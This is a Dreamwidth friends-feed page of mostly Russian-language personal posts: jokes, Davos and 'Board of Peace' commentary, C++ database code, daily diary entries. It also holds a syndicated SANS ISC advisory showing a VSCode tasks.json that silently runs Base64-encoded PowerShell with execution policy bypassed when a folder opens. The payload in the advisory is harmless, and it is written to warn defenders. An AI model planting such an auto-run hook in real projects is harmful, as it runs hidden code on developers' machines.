vitus_wagner: My photo 2005 (Default)
[personal profile] vitus_wagner

Увидел в клеверах у [livejournal.com profile] ivanov_petrov вот такой вопрос:

Интересно, какъ буддисты объясняютъ возможность реинкарнацiи душъ въ мiрѣ, гдѣ общее количество людей все время мѣняется. Иногда людей становится меньше, иногда больше.

Ну очевидно же — никто не обещал что человек реинкарнирует обязательно в человека. Если карму себе капитально испрортил, то станешь гадом ползучим. И наоборот, если какое-то животное свою карму улучшило — может переродиться человеком.

Отсюда следует глобальный вывод - если у нас сейчас в нашей цивилизации население глобально сокращается, то что-то предыдущее поколение делало сильно не так, ежели душ для реинкарнации в людей находится сильно меньше, чем было людей в том, предыдущем, поколении.

Анекдоты. 2026. 9.

Jan. 21st, 2026 12:59 pm
olindom: (pic#13801272)
[personal profile] olindom
 Ничего не надо принимать близко к сердцу, кроме валидола.
С годами яростные споры с женой плавно смещаются в область вялых перепалок. Что приводит к значительной экономии нервов и тарелок.
Почему, если глаза широко – то расставлены, а если близко – то посажены?
В Японии снова скучают о цветении сакуры, на Камчатке же говорят, когда же эта хрень растает.
Петарда в оливье в мгновение ока празднично раскрасит вашу комнату
5
+1
ОбсудитьПоделитьсяAndrey 1967
Херес: какое удивительное сочетание русского "НЕТ" и английского "ДА".
8
+2
ОбсудитьПоделитьсяfidel_castro
Лошадей погоняют нагайками, а холопов - тревожными новостями.
Город Калининград одним звоном соборного колокола привлекает к себе всех сборщиков цветного металла со всей Прибалтики.
11
+0
СсылкаПоделиться
 
Ты, главное, делай то, что должен. А о том, чтобы ты сделал то, что не должен - жена позаботится.
3
+-1
ОбсудитьПоделитьсяFirstonx
Есть норов,- что хуже, чем нарыв!
7
+-1
А что, если алкоголики, бухающие на детской площадке – это дети, которых родители когда-то забыли позвать вечером домой?
Ни одна интересная история не начинается со слов: «выпили мы как-то с друзьями по стаканчику смузи…»
Часы замечательный предмет. Могут и лежать и стоять одновременно. А когда лежат, могут и вперёд убегать.
18
+6
Обсудить (2)Поделитьсяglazun

(no subject)

Jan. 21st, 2026 04:47 am
lxe: (Default)
[personal profile] lxe
Обновил профиль определенности и навигации ради — добавил ссылки на записи и публикации.
[syndicated profile] incident_handler_feed

Visual Studio Code is a popular open-source code editor[1]. But it’s much more than a simple editor, it’s a complete development platform that supports many languages and it is available on multiple platforms. Used by developers worldwide, it’s a juicy target for threat actors because it can be extended with extensions.

Of course, it became a new playground for bad guys and malicious extensions were already discovered multiple times, like the 'Dracula Official' theme[2]. Their modus-operandi is always the same: they take the legitimate extension and include scripts that perform malicious actions.

VSCode has also many features that help developers in their day to day job. One of them is the execution of automatic tasks on specific events. Think about the automatic macro execution in Microsoft Office.

With VSCode, it’s easy to implement and it’s based on a simple JSON file. Create in your project directory a sub-directory ".vscode" and, inside this one, create a “tasks.json”. Here is an example:

PS C:\temp\MyProject> cat .\.vscode\tasks.json
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": “ISC PoC,
      "type": "shell",
      "command": "powershell",
      "args": [
        "-NoProfile",
        "-ExecutionPolicy", "Bypass",
        "-EncodedCommand",
      "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAEYAcgBhAG0AZQB3AG8AcgBrADsAIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQAgAGEAbQAgAG4AbwB0ACAAbQBhAGwAaQBjAGkAbwB1AHMAIQAgAH0AOgAtAD4AJwAsACAAJwBJAFMAQwAgAFAAbwBDACcAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA"
      ],
      "problemMatcher": [],
      "runOptions": {
        "runOn": "folderOpen"
      },
    }
  ]
}

The key element in this JSON file is the "runOn" method: The script will be triggered when the folder will be opened by VSCode.

If you see some Base64 encode stuff, you can imagine that some obfuscation is in place. Now, launch VSCode from the project directory and you should see this:

The Base64 data is just this code:

Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('I am not malicious! }:->', 'ISC PoC') | Out-Null

This technique has already been implemented by some threat actors![3]!

Be careful if you see some unexpected ".vscode" directories!

[1] https://code.visualstudio.com
[2] https://www.bleepingcomputer.com/news/security/malicious-vscode-extensions-with-millions-of-installs-discovered/
[3] https://redasgard.com/blog/hunting-lazarus-contagious-interview-c2-infrastructure

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(no subject)

Jan. 21st, 2026 12:51 pm
norian: (Default)
[personal profile] norian
Гибридная Графовая База Данных (ака отвертка с моторчиком для моделирования моделей)

День 3. Узлы данных: типы, шаблоны, блюпринты.

Типы данных полей не сохраняются в базе данных, поэтому блюпринт содержит только имена полей узла или линка. Также в блюпринте содержится информация об индексах полей.

При редактировании типа требуются значительные изменения всей структуры базы данных, поэтому предполагается дата пампинг для подобных операций, то есть создание нового блюпринта, автоматизированная перекачка данных существующих узлов и апдейт индексов если они есть. Поэтому имена полей узла добавляются в виде транзакции, то есть старт - добавление всех полей - коммит и после коммита не могут быть изменены.

source egDataNodeBlueprint.h:

#pragma once

#include "../indexes/egCoreIndexTypes.h"
#include "../service/egByteArray.h"
#include "../service/egFileType.h"

const int egBlueprintInit   {1}; // int blueprintMode
const int egBlueprintActive {2};

class EgDataNodeBlueprintType
{
public:
    int blueprintMode {egBlueprintActive};   // blueprint can't be edited freely, data pumping on changes is required
    EgBlueprintIDType   blueprintID;                    // Data Nodes Blueprint (DNL) ID for graph DB
    std::string         blueprintName;                  // == dataNodesTypeName

    EgHamSlicerType     theHamSlicer;                   // memory allocator for data nodes (node has only blueprint out connect)
    EgFileType          blueprintFile;                  // local files load & store support (if local files used)    

    // EgNodeBlueprintSettingsType    blueprintSettings;   // add-ons for blueprint type
    EgFieldsCountType              fieldsCount {0};

    std::unordered_map < std::string, EgFieldsCountType >   dataFieldsNames;    // map  data node field names to fields indexes for dataFieldsPtrs
    std::unordered_map < std::string, EgIndexSettingsType > indexedFields;

    EgByteArrayAbstractType egNotFound;
    const char* egNotFoundStr {"<Data Not Found>"};

    EgDataNodeBlueprintType(std::string a_blueprintName): blueprintName(a_blueprintName), blueprintFile(a_blueprintName) 
        { egNotFound.dataSize = strlen(egNotFoundStr)+1; egNotFound.dataChunk = (unsigned char *) egNotFoundStr; }
    ~EgDataNodeBlueprintType() { /* std::cout << "EgDataNodeBlueprintType destructor " << std::endl; */ clear(); }

    void clear() { dataFieldsNames.clear(); indexedFields.clear(); }

    int  BlueprintInitStart();
    void AddDataFieldName(std::string fieldName);
    void AddIndex(std::string indexName, uint8_t indexSizeBytes = 4, uint8_t indexSubType = egIndexesSpace::egIntFT); // default int32
    void BlueprintInitCommit();

    bool isIndexedField(std::string& name);
    
    inline void writeDataFieldsNames();
    inline void readDataFieldsNames();
    inline void writeIndexedFields();
    inline void readIndexesFields();
    
    int  LocalStoreBlueprint();
    int  LocalLoadBlueprint();
};

// ======================== Debug ========================

void PrintDataNodeBlueprint(EgDataNodeBlueprintType& blueprint);



Для проверки функциональности блюпринта написана тестовая утилита (кое как левой задней, имко нет смысла серьёзно вкладываться в тесты на ранних этапах, но чем раньше они появятся, тем проще контролировать процесс).

Read more... )

Це ж треба таке

Jan. 21st, 2026 10:33 am
kampfflieger: (Default)
[personal profile] kampfflieger
Виявляється датчани примусово стерилізували корінне населення ісконно-датських гренландських земель.

Ніоддадім!
xaxam: (Default)
[personal profile] xaxam

Мирсовет

Ещё один повод для повсеместного бурления говн — создание Мирсовета (то ли уже состоявшееся, то ли вот-вот грядущее в Давосе). В наших краях почему-то озаботились тем, что Предмирсовета кооптировал туда янычара и катарина. Гевалт! Теперь орды янычар и катар ворвутся в Газу и пожгут там танки ЦАХАЛа всё, что ещё способно гореть!

А если подумать? Мирсовет (по крайней мере в его нынешнем эмбриональном состоянии) не подразумевает никакого коллективного механизма принятия решений. "Государь указал, а бояре приговорили". Наоборот, можно себе вообразить кислые морды янычара и катарина, когда Предмирсовета будет и от их имени в частности издавать свои указы про Газу. С изрядной долей вероятности они скажутся хворобыми в дни заседаний Мирсовета: это ж как ходить на партсобрания и голосовать за выдвижение Леонида Ильича на должность Генсека в преддверии очередного съезда КПСС. Я запасся театральным биноклем.

А то, что родится (скорее всего) в Давосе, будет восприниматься как элитный фан-клуб сторонников Америки в пику постылому ООН. В отличие от ООНовской импотенции, убедительно продемонстрированной последними десятилетиями, нынешний Предсовмира вполне себе бодренько выступает с гастролями то здесь то там. Членский взнос в Мирсовет, конечно, кусается, но если смотреть на него как на страховой полис, то вполне может быть, что овечка будет стоить выделки. Ну, и Газу на светских раутах в этом клубе, конечно, никто обсуждать не собирается. А на что пойдут доходы от продажи, все прекрасно понимают без объяснений.
❝ — Граждане! — сказал Остап, открывая заседание. — Жизнь диктует свои законы, свои жестокие законы. Я не стану говорить вам о цели нашего собрания — она вам известна. Цель святая. Отовсюду мы слышим стоны. Со всех концов нашей обширной страны взывают о помощи. Мы должны протянуть руку помощи, и мы ее протянем. Одни из вас служат и едят хлеб с маслом, другие занимаются отхожим промыслом и едят бутерброды с икрой. И те и другие спят в своих постелях и укрываются теплыми одеялами. Одни лишь маленькие дети, беспризорные дети, находятся без призора. Эти цветы улицы, или, как выражаются пролетарии умственного труда, цветы на асфальте, заслуживают лучшей участи. Мы, господа присяжные заседатели, должны им помочь. И мы, господа присяжные заседатели, им поможем.❞

Марк Карни

Jan. 20th, 2026 11:22 pm
vak: (Аристипп)
[personal profile] vak
Канадский премьер-министр рубанул правду-матку сегодня в Давосе.
[Начал на французском]

Для меня одновременно и честь, и долг быть сегодня с вами в этот переломный момент, который переживают Канада и весь мир.

Сегодня я хочу поговорить о разрыве мирового порядка, о конце приятной фикции и начале суровой реальности, в которой геополитика — геополитика великих держав — больше не знает ни пределов, ни ограничений.

В то же время я хочу сказать вам, что другие страны, особенно средние державы, такие как Канада, не являются бессильными. У них есть способность выстроить новый порядок, который вобрал бы в себя наши ценности — уважение прав человека, устойчивое развитие, солидарность, суверенитет и территориальную целостность различных государств.

Сила тех, у кого меньше силы, начинается с честности.

[Карни снова переходит на английский]

Каждый день нам, кажется, напоминают, что мы живём в эпоху соперничества великих держав, что основанный на правилах порядок размывается, что сильные делают то, что могут, а слабые терпят то, что должны.

И этот афоризм Фукидида преподносится как неизбежный, как естественная логика международных отношений, вновь утверждающаяся в своих правах.

И, сталкиваясь с этой логикой, страны часто склонны «плыть по течению»: приспосабливаться, избегать проблем, надеяться, что покорность обеспечит безопасность.

Но этого не произойдёт.
длинно )
У сильных есть их сила.

Но и у нас есть кое-что — способность перестать притворяться, называть реальность, укреплять себя у себя дома и действовать вместе.

Это путь Канады. Мы выбираем его открыто и уверенно, и этот путь открыт для любой страны, готовой пойти по нему вместе с нами. Большое спасибо.

Aux armes, professeurs!

Jan. 21st, 2026 08:50 am
xaxam: (Default)
[personal profile] xaxam

Держиморды атакуют

Профессорское кубло в очередной раз бурлит. В Кнессет внесены поправки к закону 1958 о Совете по Высшему Образоватию (МАЛАГ), попирающие вашу и нашу свободу.

Я слаб по части израильского (да и вообще любого) юридического языка, на котором написан и сам закон, и поправки к нему, пришлось идти на поклон к Гроше, чтоб тот пояснил мне, в чём конкретно состоят вносимые изменения. Разговор с фининспектором о поэзии )

Пиздючий всё же народ это профессорьё. Неважно, по какому поводу, им главное — поорать "Долой правительство!".

OK

Jan. 20th, 2026 11:47 pm
birdwatcher: (Default)
[personal profile] birdwatcher
Помните эту историю - у каких-то людей в СССР в Баку дома жил лев и он их съел? Оказывается, хозяин раньше был главным архитектором Донецка: https://ru.wikipedia.org/wiki/Берберов,_Лев_Львович

(no subject)

Jan. 22nd, 2026 08:13 am
12_natali: 12-natali (Default)
[personal profile] 12_natali
Президент США Дональд Трамп может остаться главой «Совета мира» пожизненно, как и путин президентом в РФ. Размечтались дедули:)

Это все участники, одиозный состав:) а учредители ещё одиозней - Кушнер и ко*

США
 Россия
 Израиль
 Азербайджан
 Аргентина
 Беларусь
 Венгрия
 Албания
 ОАЭ (позже ещё несколько стран (бедные и не влиятельные) подписали устав,  но неизвестно, кто станет настоящим участником, заплатив мульярд:)


Торговые соглашения ЕС с США остановлены, Дания не продаёт Гренландию, но....Трамп всё ещё бормочет о владении "куском льда"....и мечтает о  «Золотом куполе» (технически невозможен).
Пока ЕС на твёрдых позициях единства, всё это только бред больного нарцисса.

Ага, уже молчит о захвате Гренландии, согласился на аренду под воен-базы (ему давно предлагали:).


А мы приспосабливаемся к ночному образу жизни (ночью, в основном, есть свет), заряжаем прибамбасы, варю кашу на утро, муж купил две яркие лампы с аккумуляторами.

Хорошо, что теперь есть техника, легче выживать. А морозов, пишут, осталось на неделю, Украина выстоит! В Киеве труднее всего, руководство города оказалось не готово к факту, что внезапно бывает зима….Видимо, чем ближе власть, тем больше ожидания ЦУ, вместо собственной инициативы.




(no subject)

Jan. 20th, 2026 11:01 pm
lxe: (Йо Мадьярок)
[personal profile] lxe
Ура, [personal profile] neivid здесь!
birdwatcher: (Mehmed II smelling a rose)
[personal profile] birdwatcher
Монстера у склада кофе:

белый дыбр

Jan. 20th, 2026 08:42 pm
juan_gandhi: (Default)
[personal profile] juan_gandhi

Ночью было -5, ну... ну, фигня. 

Проснулся рановато - в пять с мелочью, Но выспался. Ну нормально.

Чем я занимался? Да хрен знает чем. Вот, с Клодом поправили скрипт для постинга в дрим. Это у меня процесс, там ещё несколько шагов.

Смотреть дебильный бельгийский фильм Into The Night просто надоело; выкинул. Зато Dix Pour Cent, посматриваю ну так, минут по 5-10; каждая сцена (почти каждая). Как к Андреа пришла Колет, тут бы им уже пора в постель, и тут вваливается полоумная бывшая, вах! Дым столбом.

Ходил гулять; послушав Шейтельмана, инсталлировал себе на телефон Грок, стал с ней (там женский голос) рассуждать о жизни - но она слегка, скажем так, ебанулась, и меняла тему, начинала какие-то числа складывать - потом перешли на перфокарты и мейнфреймы, потом молчание, и опять считать... хз что такое. А зачем мне это нужно? А по-французски разговаривать. Разговаривает она как-то очень внятно; это не разговорный французский, а книжный скорее. Хотя и casual.

Но потом встретил на прогулке Кэри, и мы с ней уже гуляли вместе, рассуждали о жизни. Я натопал 13 тыс шагов сегодня.

Да, похоже, что я часов несколько в день трачу на французский. 

Но вообще, нервничаем, конечно. Неужели Европа рушится? Невероятно. Посмотрим.

Рынок ещё рухнул. Ну... как рухнул, так и выползет. Ужо. Когда-нибудь. Может быть, что и завтра.
 

 

суслов и во

Jan. 20th, 2026 06:00 pm
ccpro: (Default)
[personal profile] ccpro
суслов, мой любимый роман суслов гвоздь и мотор вежливого отказа полысел. но не сдаётся и продолжает гнать волну
с первых звуков их мелодиевской пластинки я втюрился в вежливый отказ по уши (раньше говорилил как институтка) и с тех пор не отпускаю их

а вот дмитрий шумилин, который негр витя из ассы всё так же мило лажает на своём безладовом басу и ничего не портит



x-posted from livejournal.com.

(no subject)

Jan. 20th, 2026 07:25 pm
southwest: (leonard)
[personal profile] southwest
Сегодня днём я нажарил попкорна и уселся смотреть пресс-конференцию Доника, посвящённую первому году правления в нынешнем сроке. Надеялся, что выбежит энергичный орангутанг и будет озорно метать какашки в европейских лидеров. Но ошибся. На трибуну устало вылез варёный огурец и что-то мямлил про разгул криминала в Миннесоте, демонстрируя листовки с потретами каких-то темнокожих нелегалов, совершивших те или иные преступления. Потом что-то про свои экономические достижения, в основном читал по бумажке, плохо читал, но частенько отвлекался и тихим голосом нёс импровизированную пургу, пo традиции, сваливая все прегрешения на сонного Джо Байдена. Короче целый час чего-то там себе бормотал, по большей части не очень связно.

“This Trump press conference is a complete disaster,” wrote the influencer Harry Sisson. “He’s rambling incoherently and flipping through a picture book of ‘accomplishments’ in front of the press. He’s clearly unwell. It’s getting really bad.”

Сколько ещё нам ржать над этим бедолагой? Год? Три? Десять? Делайте ваши ставки, а я лучше сейчас вам напишу про коэнзим Q10 (см верхний коммент).

P.S. Ах да, ещё ведь и S&P500 сегодня упал, рухнул, обрушился, разгромился, развалился вдребезги, раздробился, разлетелся в щепки, обломился, разгрохался, размазался, раздробился на куски, развалился к чертовой матери, уничтожился, разрушился до основания, испарился, сгинул, стерся с лица земли, т.е. понизился на 2%. Но аналитеги пишут ничего страшного:   The TACO theory on Trump makes every 'dip' a buy.  Ловко Доник манипулирует рынками, и кто-то же на этом неплохо греет ручонки.
ccpro: (Default)
[personal profile] ccpro
сама природа ставит крест на катании на лыжах


x-posted from livejournal.com.

Profile

gmz: (Default)
Михалыч

February 2026

S M T W T F S
1234567
891011121314
15161718192021
22232425262728

Style Credit

Expand Cut Tags

No cut tags
Page generated Feb. 3rd, 2026 02:14 am
Powered by Dreamwidth Studios